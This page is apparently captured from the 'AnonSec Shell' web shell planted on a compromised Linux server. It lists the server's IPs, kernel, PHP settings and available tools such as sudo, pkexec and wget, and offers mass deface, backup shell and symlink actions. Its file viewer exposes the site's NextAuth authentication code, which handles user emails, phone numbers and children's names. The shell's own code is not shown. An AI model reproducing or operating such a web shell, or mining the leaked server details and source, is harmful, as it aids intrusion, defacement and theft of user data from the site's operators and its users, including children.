AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 104.21.79.64 / Your IP : 104.23.243.116 [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON
Directory : /var/app/indomilk/frontend/lib/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /var/app/indomilk/frontend/lib/authOptions.js

import CredentialsProvider from "next-auth/providers/credentials";

export const authOptions = {
  providers: [
    CredentialsProvider({
      async authorize(credentials, req) {
        const res = await fetch(
          `${process.env.NEXT_PUBLIC_BASE_URL}/api/auth/login`,
          {
            method: "POST",
            headers: {
              "Content-Type": "application/json",
            },
            body: JSON.stringify({
              username: credentials?.username,
              password: credentials?.password,
            }),
          }
        );

        const user = await res.json();

        if (!res.ok) {
          throw new Error("Kredensial tidak valid");
        }

        if (user) {
          return user;
        } else {
          return null;
        }
      },
    }),
  ],
  callbacks: {
    async jwt({ token, user, trigger, session }) {
      if (trigger === "update") {
        return { ...token, ...session.user };
      }
      if (user) {
        // token.issuedAt = Date.now();
        // token.expired = setExpiredToken(token.issuedAt);

        token.id = user.player.id;
        token.name = user.player.name;
        token.username = user.player.username;
        token.email = user.player.email;
        token.phone = user.player.phone;
        token.childName = user.player.childName;
        token.avatar = user.player.avatar;
        token.totalUserPokemons = user.player.totalUserPokemons;
        token.totalUserMissions = user.player.totalUserMissions;
        token.accessToken = user.accessToken;

        // if (Date.now() >= token.expired) {
        //   const refreshToken = await refreshAccessToken(token.refreshToken);
        //   token.issuedAt = Date.now();
        //   token.accessToken = refreshToken.data.accessToken;
        //   token.expired = setExpiredToken(token.issuedAt);
        // }
      }
      return token;
    },
    async session({ session, token }) {
      // if (!token || !token?.accessToken) {
      //   return {};
      // }

      session.user.id = token.id;
      session.user.name = token.name;
      session.user.username = token.username;
      session.user.email = token.email;
      session.user.phone = token.phone;
      session.user.childName = token.childName;
      session.user.avatar = token.avatar;
      session.user.totalUserPokemons = token.totalUserPokemons;
      session.user.totalUserMissions = token.totalUserMissions;
      session.user.accessToken = token.accessToken;
      return session;
    },
  },
  pages: {
    signIn: "/login",
  },
  session: {
    // maxAge: 1 * 1 * 60, // 1 mins
    maxAge: 24 * 60 * 60, // 24 hours
  },
};

function setExpiredToken(data) {
  return data + 1 * 60 * 1000;
}

async function refreshAccessToken(refreshToken) {
  const res = await fetch(
    `${process.env.NEXT_PUBLIC_API_URL}/api/v1/auth/refresh-token`,
    {
      method: "POST",
      headers: {
        "Content-Type": "application/json",
        "x-api-key": `${process.env.SECRET_KEY}`,
      },
      body: JSON.stringify({ refreshToken }),
    }
  );
  const result = await res.json();

  if (!res.ok) {
    return {};
  }

  return result;
}

Anon7 - 2022
AnonSec Team